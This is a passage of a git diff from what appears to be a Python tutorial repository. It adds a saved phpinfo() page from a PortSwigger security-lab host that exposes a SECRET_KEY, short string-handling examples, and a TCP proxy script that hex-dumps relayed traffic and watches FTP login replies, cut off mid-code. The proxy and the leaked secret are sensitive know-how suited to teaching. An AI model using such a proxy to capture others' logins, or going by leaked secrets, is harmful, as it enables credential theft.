+/etc/php/7.4/cgi/conf.d/20-ctype.ini,
+/etc/php/7.4/cgi/conf.d/20-dom.ini,
+/etc/php/7.4/cgi/conf.d/20-exif.ini,
+/etc/php/7.4/cgi/conf.d/20-ffi.ini,
+/etc/php/7.4/cgi/conf.d/20-fileinfo.ini,
+/etc/php/7.4/cgi/conf.d/20-ftp.ini,
+/etc/php/7.4/cgi/conf.d/20-gettext.ini,
+/etc/php/7.4/cgi/conf.d/20-iconv.ini,
+/etc/php/7.4/cgi/conf.d/20-json.ini,
+/etc/php/7.4/cgi/conf.d/20-phar.ini,
+/etc/php/7.4/cgi/conf.d/20-posix.ini,
+/etc/php/7.4/cgi/conf.d/20-readline.ini,
+/etc/php/7.4/cgi/conf.d/20-shmop.ini,
+/etc/php/7.4/cgi/conf.d/20-simplexml.ini,
+/etc/php/7.4/cgi/conf.d/20-sockets.ini,
+/etc/php/7.4/cgi/conf.d/20-sysvmsg.ini,
+/etc/php/7.4/cgi/conf.d/20-sysvsem.ini,
+/etc/php/7.4/cgi/conf.d/20-sysvshm.ini,
+/etc/php/7.4/cgi/conf.d/20-tokenizer.ini,
+/etc/php/7.4/cgi/conf.d/20-xmlreader.ini,
+/etc/php/7.4/cgi/conf.d/20-xmlwriter.ini,
+/etc/php/7.4/cgi/conf.d/20-xsl.ini,
+/etc/php/7.4/cgi/conf.d/99-academy.ini
+  PHP API  20190902  PHP Extension  20190902  Zend Extension  320190902  Zend Extension Build  API320190902,NTS  PHP Extension Build  API20190902,NTS  Debug Build  no  Thread Safety  disabled  Zend Signal Handling  enabled  Zend Memory Manager  enabled  Zend Multibyte Support  disabled  IPv6 Support  enabled  DTrace Support  available, disabled  Registered PHP Streams https, ftps, compress.zlib, php, file, glob, data, http, ftp, phar Registered Stream Socket Transports tcp, udp, unix, udg, ssl, tls, tlsv1.0, tlsv1.1, tlsv1.2, tlsv1.3 Registered Stream Filters zlib.*, string.rot13, string.toupper, string.tolower, string.strip_tags, convert.*, consumed, dechunk, convert.iconv.* 
+
+
+ 
+
+
Configuration 
+
+
+Calendar support  enabled  
+
+
+Directive Local Value Master Value cgi.check_shebang_line 1 1 cgi.discard_path 0 0 cgi.fix_pathinfo 1 1 cgi.force_redirect 1 1 cgi.nph 0 0 cgi.redirect_status_env no value no value cgi.rfc2616_headers 0 0 fastcgi.logging 1 1 
+
+
+PHP Version  7.4.3-4ubuntu2.20  
+
+Directive Local Value Master Value allow_url_fopen On On allow_url_include Off Off arg_separator.input & & arg_separator.output & & auto_append_file no value no value auto_globals_jit On On auto_prepend_file no value no value browscap no value no value default_charset UTF-8 UTF-8 default_mimetype text/html text/html disable_classes no value no value disable_functions pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, display_errors Off Off display_startup_errors Off Off doc_root no value no value docref_ext no value no value docref_root no value no value enable_dl Off Off enable_post_data_reading On On error_append_string no value no value error_log no value no value error_prepend_string no value no value error_reporting 22527 22527 expose_php Off Off extension_dir /usr/lib/php/20190902 /usr/lib/php/20190902 file_uploads On On hard_timeout 2 2 highlight.comment #FF8000 #FF8000 highlight.default #0000BB #0000BB highlight.html #000000 #000000 highlight.keyword #007700 #007700 highlight.string #DD0000 #DD0000 html_errors On On ignore_repeated_errors Off Off ignore_repeated_source Off Off ignore_user_abort Off Off implicit_flush Off Off include_path .:/usr/share/php .:/usr/share/php input_encoding no value no value internal_encoding no value no value log_errors On On log_errors_max_len 1024 1024 mail.add_x_header Off Off mail.force_extra_parameters no value no value mail.log no value no value max_execution_time 30 30 max_file_uploads 20 20 max_input_nesting_level 64 64 max_input_time 60 60 max_input_vars 1000 1000 max_multipart_body_parts -1 -1 memory_limit 128M 128M open_basedir no value no value output_buffering 4096 4096 output_encoding no value no value output_handler no value no value post_max_size 8M 8M precision 14 14 realpath_cache_size 4096K 4096K realpath_cache_ttl 120 120 register_argc_argv Off Off report_memleaks On On report_zend_debug On On request_order GP GP sendmail_from no value no value sendmail_path /usr/sbin/sendmail -t -i  /usr/sbin/sendmail -t -i  serialize_precision -1 -1 short_open_tag Off Off SMTP localhost localhost smtp_port 25 25 sys_temp_dir no value no value syslog.facility LOG_USER LOG_USER syslog.filter no-ctrl no-ctrl syslog.ident php php track_errors Off Off unserialize_callback_func no value no value upload_max_filesize 2M 2M upload_tmp_dir no value no value user_dir no value no value user_ini.cache_ttl 300 300 user_ini.filename .user.ini .user.ini variables_order GPCS GPCS xmlrpc_error_number 0 0 xmlrpc_errors Off Off zend.assertions -1 -1 zend.detect_unicode On On zend.enable_gc On On zend.exception_ignore_args Off Off zend.multibyte Off Off zend.script_encoding no value no value zend.signal_check Off Off 
+
+
+ctype functions  enabled  
+
+
+date/time support  enabled  timelib version  2018.03  "Olson" Timezone Database Version  0.system  Timezone Database  internal  Default timezone  UTC  
+
+Directive Local Value Master Value date.default_latitude 31.7667 31.7667 date.default_longitude 35.2333 35.2333 date.sunrise_zenith 90.583333 90.583333 date.sunset_zenith 90.583333 90.583333 date.timezone no value no value 
+
+
+DOM/XML  enabled  DOM/XML API Version  20031129  libxml Version  2.9.10  HTML Support  enabled  XPath Support  enabled  XPointer Support  enabled  Schema Support  enabled  RelaxNG Support  enabled  
+
+
+EXIF Support  enabled  Supported EXIF Version  0220  Supported filetypes  JPEG, TIFF  Multibyte decoding support using mbstring  disabled  Extended EXIF tag formats  Canon, Casio, Fujifilm, Nikon, Olympus, Samsung, Panasonic, DJI, Sony, Pentax, Minolta, Sigma, Foveon, Kyocera, Ricoh, AGFA, Epson  
+
+Directive Local Value Master Value exif.decode_jis_intel JIS JIS exif.decode_jis_motorola JIS JIS exif.decode_unicode_intel UCS-2LE UCS-2LE exif.decode_unicode_motorola UCS-2BE UCS-2BE exif.encode_jis no value no value exif.encode_unicode ISO-8859-15 ISO-8859-15 
+
+
+
+Directive Local Value Master Value ffi.enable preload preload ffi.preload no value no value 
+
+
+fileinfo support  enabled  libmagic  537  
+
+
+Input Validation and Filtering  enabled  
+
+Directive Local Value Master Value filter.default unsafe_raw unsafe_raw filter.default_flags no value no value 
+
+
+FTP support  enabled  FTPS support  enabled  
+
+
+GetText Support  enabled  
+
+
+hash support  enabled  Hashing Engines  md2 md4 md5 sha1 sha224 sha256 sha384 sha512/224 sha512/256 sha512 sha3-224 sha3-256 sha3-384 sha3-512 ripemd128 ripemd160 ripemd256 ripemd320 whirlpool tiger128,3 tiger160,3 tiger192,3 tiger128,4 tiger160,4 tiger192,4 snefru snefru256 gost gost-crypto adler32 crc32 crc32b crc32c fnv132 fnv1a32 fnv164 fnv1a64 joaat haval128,3 haval160,3 haval192,3 haval224,3 haval256,3 haval128,4 haval160,4 haval192,4 haval224,4 haval256,4 haval128,5 haval160,5 haval192,5 haval224,5 haval256,5   
+
+MHASH support  Enabled  MHASH API Version  Emulated Support  
+
+
+iconv support  enabled  iconv implementation  glibc  iconv library version  2.31  
+
+Directive Local Value Master Value iconv.input_encoding no value no value iconv.internal_encoding no value no value iconv.output_encoding no value no value 
+
+
+
+
+libXML support  active  libXML Compiled Version  2.9.10  libXML Loaded Version  20910  libXML streams  enabled  
+
+
+OpenSSL support  enabled  OpenSSL Library Version  OpenSSL 1.1.1f  31 Mar 2020  OpenSSL Header Version  OpenSSL 1.1.1f  31 Mar 2020  Openssl default config  /usr/lib/ssl/openssl.cnf  
+
+Directive Local Value Master Value openssl.cafile no value no value openssl.capath no value no value 
+
+
+
+
+PCRE (Perl Compatible Regular Expressions) Support  enabled  PCRE Library Version  10.34 2019-11-21  PCRE Unicode Version  12.1.0  PCRE JIT Support  enabled  PCRE JIT Target  x86 64bit (little endian + unaligned)  
+
+Directive Local Value Master Value pcre.backtrack_limit 1000000 1000000 pcre.jit 1 1 pcre.recursion_limit 100000 100000 
+
+
+PDO support enabled PDO drivers  no value  
+
+
+Phar: PHP Archive support enabled Phar API version  1.1.1  Phar-based phar archives  enabled  Tar-based phar archives  enabled  ZIP-based phar archives  enabled  gzip compression  enabled  bzip2 compression  disabled (install ext/bz2)  Native OpenSSL support  enabled  
+
+
+Phar based on pear/PHP_Archive, original concept by Davey Shafik. 
+
+Directive Local Value Master Value phar.cache_list no value no value phar.readonly On On phar.require_hash On On 
+
+
+
+
+Readline Support enabled Readline library  EditLine wrapper  
+
+Directive Local Value Master Value cli.pager no value no value cli.prompt \b \>  \b \>  
+
+
+
+
+Session Support  enabled  Registered save handlers  files user   Registered serializer handlers  php_serialize php php_binary   
+
+Directive Local Value Master Value session.auto_start Off Off session.cache_expire 180 180 session.cache_limiter nocache nocache session.cookie_domain no value no value session.cookie_httponly no value no value session.cookie_lifetime 0 0 session.cookie_path / / session.cookie_samesite no value no value session.cookie_secure 0 0 session.gc_divisor 1000 1000 session.gc_maxlifetime 1440 1440 session.gc_probability 0 0 session.lazy_write On On session.name PHPSESSID PHPSESSID session.referer_check no value no value session.save_handler files files session.save_path /var/lib/php/sessions /var/lib/php/sessions session.serialize_handler php php session.sid_bits_per_character 5 5 session.sid_length 26 26 session.upload_progress.cleanup On On session.upload_progress.enabled On On session.upload_progress.freq 1% 1% session.upload_progress.min_freq 1 1 session.upload_progress.name PHP_SESSION_UPLOAD_PROGRESS PHP_SESSION_UPLOAD_PROGRESS session.upload_progress.prefix upload_progress_ upload_progress_ session.use_cookies 1 1 session.use_only_cookies 1 1 session.use_strict_mode 0 0 session.use_trans_sid 0 0 
+
+
+
+
+SimpleXML support  enabled  Schema support  enabled  
+
+
+Sockets Support  enabled  
+
+
+sodium support enabled libsodium headers version  1.0.18  libsodium library version  1.0.18  
+
+
+SPL support enabled Interfaces  OuterIterator, RecursiveIterator, SeekableIterator, SplObserver, SplSubject  Classes  AppendIterator, ArrayIterator, ArrayObject, BadFunctionCallException, BadMethodCallException, CachingIterator, CallbackFilterIterator, DirectoryIterator, DomainException, EmptyIterator, FilesystemIterator, FilterIterator, GlobIterator, InfiniteIterator, InvalidArgumentException, IteratorIterator, LengthException, LimitIterator, LogicException, MultipleIterator, NoRewindIterator, OutOfBoundsException, OutOfRangeException, OverflowException, ParentIterator, RangeException, RecursiveArrayIterator, RecursiveCachingIterator, RecursiveCallbackFilterIterator, RecursiveDirectoryIterator, RecursiveFilterIterator, RecursiveIteratorIterator, RecursiveRegexIterator, RecursiveTreeIterator, RegexIterator, RuntimeException, SplDoublyLinkedList, SplFileInfo, SplFileObject, SplFixedArray, SplHeap, SplMinHeap, SplMaxHeap, SplObjectStorage, SplPriorityQueue, SplQueue, SplStack, SplTempFileObject, UnderflowException, UnexpectedValueException  
+
+
+Dynamic Library Support  enabled  Path to sendmail  /usr/sbin/sendmail -t -i   
+
+Directive Local Value Master Value assert.active 1 1 assert.bail 0 0 assert.callback no value no value assert.exception 0 0 assert.quiet_eval 0 0 assert.warning 1 1 auto_detect_line_endings 0 0 default_socket_timeout 60 60 from no value no value session.trans_sid_hosts no value no value session.trans_sid_tags a=href,area=href,frame=src,form= a=href,area=href,frame=src,form= unserialize_max_depth 4096 4096 url_rewriter.hosts no value no value url_rewriter.tags form= form= user_agent no value no value 
+
+
+sysvmsg support  enabled  
+
+
+sysvsem support  enabled  
+
+
+sysvshm support  enabled  
+
+
+Tokenizer Support  enabled  
+
+
+XML Support  active  XML Namespace Support  active  libxml2 Version  2.9.10  
+
+
+
+
+
+
+XSL  enabled  libxslt Version  1.1.34  libxslt compiled against libxml Version  2.9.10  EXSLT  enabled  libexslt Version  1.1.34  
+
+
+Opcode Caching  Up and Running  Optimization  Enabled  SHM Cache  Enabled  File Cache  Disabled  Startup  OK  Shared memory model  mmap  Cache hits  0  Cache misses  1  Used memory  9168472  Free memory  125049256  Wasted memory  0  Interned Strings Used memory  224744  Interned Strings Free memory  6066264  Cached scripts  1  Cached keys  1  Max keys  16229  OOM restarts  0  Hash keys restarts  0  Manual restarts  0  
+
+Directive Local Value Master Value opcache.blacklist_filename no value no value opcache.consistency_checks 0 0 opcache.dups_fix Off Off opcache.enable On On opcache.enable_cli Off Off opcache.enable_file_override Off Off opcache.error_log no value no value opcache.file_cache no value no value opcache.file_cache_consistency_checks 1 1 opcache.file_cache_only 0 0 opcache.file_update_protection 2 2 opcache.force_restart_timeout 180 180 opcache.huge_code_pages Off Off opcache.interned_strings_buffer 8 8 opcache.lockfile_path /tmp /tmp opcache.log_verbosity_level 1 1 opcache.max_accelerated_files 10000 10000 opcache.max_file_size 0 0 opcache.max_wasted_percentage 5 5 opcache.memory_consumption 128 128 opcache.opt_debug_level 0 0 opcache.optimization_level 0x7FFEBFFF 0x7FFEBFFF opcache.preferred_memory_model no value no value opcache.preload no value no value opcache.preload_user no value no value opcache.protect_memory 0 0 opcache.restrict_api no value no value opcache.revalidate_freq 2 2 opcache.revalidate_path Off Off opcache.save_comments 1 1 opcache.use_cwd On On opcache.validate_permission Off Off opcache.validate_root Off Off opcache.validate_timestamps On On 
+
+
+ZLib Support enabled Stream Wrapper  compress.zlib://  Stream Filter  zlib.inflate, zlib.deflate  Compiled Version  1.2.11  Linked Version  1.2.11  
+
+Directive Local Value Master Value zlib.output_compression Off Off zlib.output_compression_level -1 -1 zlib.output_handler no value no value 
+
Additional Modules 
+
+
Environment 
+
+Variable Value GATEWAY_INTERFACE  CGI/1.1  SUDO_GID  10000  REMOTE_HOST  105.235.135.13  USER  carlos  HTTP_ACCEPT_CHARSET  *  SECRET_KEY  qpv07o7eirlfsovg81p7ay7m9l8jaw8b  QUERY_STRING  no value  HOME  /home/carlos  HTTP_USER_AGENT  Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko  HTTP_ACCEPT  */*  SCRIPT_FILENAME  /home/carlos/cgi-bin/phpinfo.php  HTTP_HOST  0a8700550346ebd1804c946100f40010.web-security-academy.net  SUDO_UID  10000  LOGNAME  carlos  SERVER_SOFTWARE  PortSwiggerHttpServer/1.0  TERM  unknown  PATH  /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin  HTTP_ACCEPT_LANGUAGE  en-US  HTTP_REFERER  https://0a8700550346ebd1804c946100f40010.web-security-academy.net/cgi-bin/  SERVER_PROTOCOL  HTTP/1.1  HTTP_ACCEPT_ENCODING  identity  SUDO_COMMAND  /usr/bin/sh -c /usr/bin/php-cgi  SHELL  /bin/bash  REDIRECT_STATUS  true  SUDO_USER  academy  REQUEST_METHOD  GET  PWD  /home/carlos/cgi-bin  SERVER_PORT  443  SCRIPT_NAME  /cgi-bin/phpinfo.php  SERVER_NAME  10.0.4.200  
+
PHP Variables 
+
+Variable Value $_SERVER['GATEWAY_INTERFACE'] CGI/1.1 $_SERVER['SUDO_GID'] 10000 $_SERVER['REMOTE_HOST'] 105.235.135.13 $_SERVER['USER'] carlos $_SERVER['HTTP_ACCEPT_CHARSET'] * $_SERVER['SECRET_KEY'] qpv07o7eirlfsovg81p7ay7m9l8jaw8b $_SERVER['QUERY_STRING'] no value $_SERVER['HOME'] /home/carlos $_SERVER['HTTP_USER_AGENT'] Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko $_SERVER['HTTP_ACCEPT'] */* $_SERVER['SCRIPT_FILENAME'] /home/carlos/cgi-bin/phpinfo.php $_SERVER['HTTP_HOST'] 0a8700550346ebd1804c946100f40010.web-security-academy.net $_SERVER['SUDO_UID'] 10000 $_SERVER['LOGNAME'] carlos $_SERVER['SERVER_SOFTWARE'] PortSwiggerHttpServer/1.0 $_SERVER['TERM'] unknown $_SERVER['PATH'] /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin $_SERVER['HTTP_ACCEPT_LANGUAGE'] en-US $_SERVER['HTTP_REFERER'] https://0a8700550346ebd1804c946100f40010.web-security-academy.net/cgi-bin/ $_SERVER['SERVER_PROTOCOL'] HTTP/1.1 $_SERVER['HTTP_ACCEPT_ENCODING'] identity $_SERVER['SUDO_COMMAND'] /usr/bin/sh -c /usr/bin/php-cgi $_SERVER['SHELL'] /bin/bash $_SERVER['REDIRECT_STATUS'] true $_SERVER['SUDO_USER'] academy $_SERVER['REQUEST_METHOD'] GET $_SERVER['PWD'] /home/carlos/cgi-bin $_SERVER['SERVER_PORT'] 443 $_SERVER['SCRIPT_NAME'] /cgi-bin/phpinfo.php $_SERVER['SERVER_NAME'] 10.0.4.200 $_SERVER['PHP_SELF'] /cgi-bin/phpinfo.php $_SERVER['REQUEST_TIME_FLOAT'] 1712744607.1831 $_SERVER['REQUEST_TIME'] 1712744607 
+
+
PHP Credits 
+
+PHP Group Thies C. Arntzen, Stig Bakken, Shane Caraveo, Andi Gutmans, Rasmus Lerdorf, Sam Ruby, Sascha Schumann, Zeev Suraski, Jim Winstead, Andrei Zmievski  
+
+Language Design & Concept Andi Gutmans, Rasmus Lerdorf, Zeev Suraski, Marcus Boerger  
+
+PHP Authors Contribution Authors Zend Scripting Language Engine  Andi Gutmans, Zeev Suraski, Stanislav Malyshev, Marcus Boerger, Dmitry Stogov, Xinchen Hui, Nikita Popov  Extension Module API  Andi Gutmans, Zeev Suraski, Andrei Zmievski  UNIX Build and Modularization  Stig Bakken, Sascha Schumann, Jani Taskinen, Peter Kokot  Windows Support  Shane Caraveo, Zeev Suraski, Wez Furlong, Pierre-Alain Joye, Anatol Belski, Kalle Sommer Nielsen  Server API (SAPI) Abstraction Layer  Andi Gutmans, Shane Caraveo, Zeev Suraski  Streams Abstraction Layer  Wez Furlong, Sara Golemon  PHP Data Objects Layer  Wez Furlong, Marcus Boerger, Sterling Hughes, George Schlossnagle, Ilia Alshanetsky  Output Handler  Zeev Suraski, Thies C. Arntzen, Marcus Boerger, Michael Wallner  Consistent 64 bit support  Anthony Ferrara, Anatol Belski  
+
+SAPI Modules Contribution Authors Apache 2.0 Handler  Ian Holsman, Justin Erenkrantz (based on Apache 2.0 Filter code)  CGI / FastCGI  Rasmus Lerdorf, Stig Bakken, Shane Caraveo, Dmitry Stogov  CLI  Edin Kadribasic, Marcus Boerger, Johannes Schlueter, Moriyoshi Koizumi, Xinchen Hui  Embed  Edin Kadribasic  FastCGI Process Manager  Andrei Nigmatulin, dreamcat4, Antony Dovgal, Jerome Loyet  litespeed  George Wang  phpdbg  Felipe Pena, Joe Watkins, Bob Weinand  
+
+Module Authors Module Authors BC Math  Andi Gutmans  Bzip2  Sterling Hughes  Calendar  Shane Caraveo, Colin Viebrock, Hartmut Holzgraefe, Wez Furlong  COM and .Net  Wez Furlong  ctype  Hartmut Holzgraefe  cURL  Sterling Hughes  Date/Time Support  Derick Rethans  DB-LIB (MS SQL, Sybase)  Wez Furlong, Frank M. Kromann, Adam Baratz  DBA  Sascha Schumann, Marcus Boerger  DOM  Christian Stocker, Rob Richards, Marcus Boerger  enchant  Pierre-Alain Joye, Ilia Alshanetsky  EXIF  Rasmus Lerdorf, Marcus Boerger  FFI  Dmitry Stogov  fileinfo  Ilia Alshanetsky, Pierre Alain Joye, Scott MacVicar, Derick Rethans, Anatol Belski  Firebird driver for PDO  Ard Biesheuvel  FTP  Stefan Esser, Andrew Skalski  GD imaging  Rasmus Lerdorf, Stig Bakken, Jim Winstead, Jouni Ahto, Ilia Alshanetsky, Pierre-Alain Joye, Marcus Boerger  GetText  Alex Plotnick  GNU GMP support  Stanislav Malyshev  Iconv  Rui Hirokawa, Stig Bakken, Moriyoshi Koizumi  IMAP  Rex Logan, Mark Musone, Brian Wang, Kaj-Michael Lang, Antoni Pamies Olive, Rasmus Lerdorf, Andrew Skalski, Chuck Hagenbuch, Daniel R Kalowsky  Input Filter  Rasmus Lerdorf, Derick Rethans, Pierre-Alain Joye, Ilia Alshanetsky  Internationalization  Ed Batutis, Vladimir Iordanov, Dmitry Lakhtyuk, Stanislav Malyshev, Vadim Savchuk, Kirti Velankar  JSON  Jakub Zelenka, Omar Kilani, Scott MacVicar  LDAP  Amitay Isaacs, Eric Warnke, Rasmus Lerdorf, Gerrit Thomson, Stig Venaas  LIBXML  Christian Stocker, Rob Richards, Marcus Boerger, Wez Furlong, Shane Caraveo  Multibyte String Functions  Tsukada Takuya, Rui Hirokawa  MySQL driver for PDO  George Schlossnagle, Wez Furlong, Ilia Alshanetsky, Johannes Schlueter  MySQLi  Zak Greant, Georg Richter, Andrey Hristov, Ulf Wendel  MySQLnd  Andrey Hristov, Ulf Wendel, Georg Richter, Johannes Schlüter  OCI8  Stig Bakken, Thies C. Arntzen, Andy Sautins, David Benson, Maxim Maletsky, Harald Radi, Antony Dovgal, Andi Gutmans, Wez Furlong, Christopher Jones, Oracle Corporation  ODBC driver for PDO  Wez Furlong  ODBC  Stig Bakken, Andreas Karajannis, Frank M. Kromann, Daniel R. Kalowsky  Opcache  Andi Gutmans, Zeev Suraski, Stanislav Malyshev, Dmitry Stogov, Xinchen Hui  OpenSSL  Stig Venaas, Wez Furlong, Sascha Kettler, Scott MacVicar  Oracle (OCI) driver for PDO  Wez Furlong  pcntl  Jason Greene, Arnaud Le Blanc  Perl Compatible Regexps  Andrei Zmievski  PHP Archive  Gregory Beaver, Marcus Boerger  PHP Data Objects  Wez Furlong, Marcus Boerger, Sterling Hughes, George Schlossnagle, Ilia Alshanetsky  PHP hash  Sara Golemon, Rasmus Lerdorf, Stefan Esser, Michael Wallner, Scott MacVicar  Posix  Kristian Koehntopp  PostgreSQL driver for PDO  Edin Kadribasic, Ilia Alshanetsky  PostgreSQL  Jouni Ahto, Zeev Suraski, Yasuo Ohgaki, Chris Kings-Lynne  Pspell  Vlad Krupin  Readline  Thies C. Arntzen  Reflection  Marcus Boerger, Timm Friebe, George Schlossnagle, Andrei Zmievski, Johannes Schlueter  Sessions  Sascha Schumann, Andrei Zmievski  Shared Memory Operations  Slava Poliakov, Ilia Alshanetsky  SimpleXML  Sterling Hughes, Marcus Boerger, Rob Richards  SNMP  Rasmus Lerdorf, Harrie Hazewinkel, Mike Jackson, Steven Lawrance, Johann Hanne, Boris Lytochkin  SOAP  Brad Lafountain, Shane Caraveo, Dmitry Stogov  Sockets  Chris Vandomelen, Sterling Hughes, Daniel Beulshausen, Jason Greene  Sodium  Frank Denis  SPL  Marcus Boerger, Etienne Kneuss  SQLite 3.x driver for PDO  Wez Furlong  SQLite3  Scott MacVicar, Ilia Alshanetsky, Brad Dewar  System V Message based IPC  Wez Furlong  System V Semaphores  Tom May  System V Shared Memory  Christian Cartus  tidy  John Coggeshall, Ilia Alshanetsky  tokenizer  Andrei Zmievski, Johannes Schlueter  XML  Stig Bakken, Thies C. Arntzen, Sterling Hughes  XMLReader  Rob Richards  xmlrpc  Dan Libby  XMLWriter  Rob Richards, Pierre-Alain Joye  XSL  Christian Stocker, Rob Richards  Zip  Pierre-Alain Joye, Remi Collet  Zlib  Rasmus Lerdorf, Stefan Roehrich, Zeev Suraski, Jade Nicoletti, Michael Wallner  
+
+PHP Documentation Authors  Mehdi Achour, Friedhelm Betz, Antony Dovgal, Nuno Lopes, Hannes Magnusson, Philip Olson, Georg Richter, Damien Seguy, Jakub Vrana, Adam Harvey  Editor  Peter Cowburn  User Note Maintainers  Daniel P. Brown, Thiago Henrique Pojda  Other Contributors  Previously active authors, editors and other contributors are listed in the manual.  
+
+PHP Quality Assurance Team Ilia Alshanetsky, Joerg Behrens, Antony Dovgal, Stefan Esser, Moriyoshi Koizumi, Magnus Maatta, Sebastian Nohn, Derick Rethans, Melvyn Sopacua, Pierre-Alain Joye, Dmitry Stogov, Felipe Pena, David Soria Parra, Stanislav Malyshev, Julien Pauli, Stephen Zarkos, Anatol Belski, Remi Collet, Ferenc Kovacs  
+
+Websites and Infrastructure team PHP Websites Team  Rasmus Lerdorf, Hannes Magnusson, Philip Olson, Lukas Kahwe Smith, Pierre-Alain Joye, Kalle Sommer Nielsen, Peter Cowburn, Adam Harvey, Ferenc Kovacs, Levi Morrison  Event Maintainers  Damien Seguy, Daniel P. Brown  Network Infrastructure  Daniel P. Brown  Windows Infrastructure  Alex Schoenmaker  
+
PHP License 
+
+
+
+This program is free software; you can redistribute it and/or modify it under the terms of the PHP License as published by the PHP Group and included in the distribution in the file:  LICENSE
+
+This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+
+If you did not receive a copy of the PHP license, or have any questions about PHP licensing, please contact license@php.net.
+
+ 
+
+Some text here!
+===============================
+Subject: This is another email!
+From: Abdou Rockikz 
+Some other text!
+"""
+# substitute any email found with [email protected]
+print(re.sub(email_regex, "[email protected]", example_text))
\ No newline at end of file
diff --git a/python-standard-library/split-string/README.md b/python-standard-library/split-string/README.md
new file mode 100644
index 00000000..fe078256
--- /dev/null
+++ b/python-standard-library/split-string/README.md
@@ -0,0 +1 @@
+# [How to Split a String In Python](https://www.thepythoncode.com/article/split-a-string-in-python)
\ No newline at end of file
diff --git a/python-standard-library/split-string/split_string.py b/python-standard-library/split-string/split_string.py
new file mode 100644
index 00000000..86e17e2b
--- /dev/null
+++ b/python-standard-library/split-string/split_string.py
@@ -0,0 +1,32 @@
+#Declare Two Variables
+variable1 = "Splitting a string"
+variable2 = 'Splitting another string'
+
+#Splitting The Variables
+print(variable1.split())
+print(variable2.split())
+
+#Splitting The Variables
+print(variable1.split())
+print(variable2.split(","))
+
+#Declare Two Variables
+variable1 = "Splitting*a*string"
+variable2 = 'Splitting,another,string'
+#Splitting The Variables
+print(variable1.split("*"))
+print(variable2.split(","))
+
+#Splitting The Variables
+print(variable1.split("*")[2])
+print(variable2.split(",")[0])
+
+#Declare The Variable
+variable = "Splitting a string"
+#Use The Maxsplit
+print(variable.split(" ", maxsplit=1))
+
+#Declare The Variable
+variable = "Splitting a string"
+#Split The String By Characters
+print(list(variable))
\ No newline at end of file
diff --git a/python-standard-library/tcp-proxy/README.md b/python-standard-library/tcp-proxy/README.md
new file mode 100644
index 00000000..f3dd655d
--- /dev/null
+++ b/python-standard-library/tcp-proxy/README.md
@@ -0,0 +1 @@
+# [How to Build a TCP Proxy with Python](https://thepythoncode.com/article/building-a-tcp-proxy-with-python)
\ No newline at end of file
diff --git a/python-standard-library/tcp-proxy/tcp_proxy.py b/python-standard-library/tcp-proxy/tcp_proxy.py
new file mode 100644
index 00000000..d27434ef
--- /dev/null
+++ b/python-standard-library/tcp-proxy/tcp_proxy.py
@@ -0,0 +1,147 @@
+import sys
+import socket
+import threading
+import time
+from typing import Optional, Tuple, Dict
+
+class TcpProxy:
+    def __init__(self):
+        self._local_addr: str = ""
+        self._local_port: int = 0
+        self._remote_addr: str = ""
+        self._remote_port: int = 0
+        self._preload: bool = False
+        self._backlog: int = 5
+        self._chunk_size: int = 16
+        self._timeout: int = 5
+        self._buffer_size: int = 4096
+        self._termination_flags: Dict[bytes, bool] = {
+            b'220 ': True,
+            b'331 ': True,
+            b'230 ': True,
+            b'530 ': True
+        }
+        
+    def _process_data(self, stream: bytes) -> None:
+        #Transform data stream for analysis
+        for offset in range(0, len(stream), self._chunk_size):
+            block = stream[offset:offset + self._chunk_size]
+            
+            # Format block representation
+            bytes_view = ' '.join(f'{byte:02X}' for byte in block)
+            text_view = ''.join(chr(byte) if 32 <= byte <= 126 else '.' for byte in block)
+            
+            # Display formatted line
+            print(f"{offset:04X}   {bytes_view:<{self._chunk_size * 3}}   {text_view}")
+    
+    def _extract_stream(self, conn: socket.socket) -> bytes:
+        #Extract data stream from connection
+        accumulator = b''
+        conn.settimeout(self._timeout)
+        
+        try:
+            while True:
+                fragment = conn.recv(self._buffer_size)
+                if not fragment:
+                    break
+                    
+                accumulator += fragment
+                
+                # Check for protocol markers
+                if accumulator.endswith(b'\r\n'):
+                    for flag in self._termination_flags:
+                        if flag in accumulator:
+                            return accumulator
+                            
+        except socket.timeout:
+            pass
+            
+        return accumulator
+    
+    def _monitor_stream(self, direction: str, stream: bytes) -> bytes:
+        # Monitor and decode stream content
+        try:
+            content = stream.decode('utf-8').strip()
+            marker = ">>>" if direction == "in" else "<<<"
+            print(f"{marker} {content}")
+        except UnicodeDecodeError:
+            print(f"{direction}: [binary content]")
+            
+        return stream
+    
+    def _bridge_connections(self, entry_point: socket.socket) -> None:
+        #Establish and maintain connection bridge
+        # Initialize exit point
+        exit_point = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+        try:
+            exit_point.connect((self._remote_addr, self._remote_port))
+            # Handle initial remote response
+            if self._preload:
+                remote_data = self._extract_stream(exit_point)
+                if remote_data:
+                    self._process_data(remote_data)
+                    processed = self._monitor_stream("out", remote_data)
+                    entry_point.send(processed)
+            # Main interaction loop
+            while True:
+                # Process incoming traffic
+                entry_data = self._extract_stream(entry_point)
+                if entry_data:
+                    print(f"\n[>] Captured {len(entry_data)} bytes incoming")
+                    self._process_data(entry_data)
+                    processed = self._monitor_stream("in", entry_data)
+                    exit_point.send(processed)
+                # Process outgoing traffic
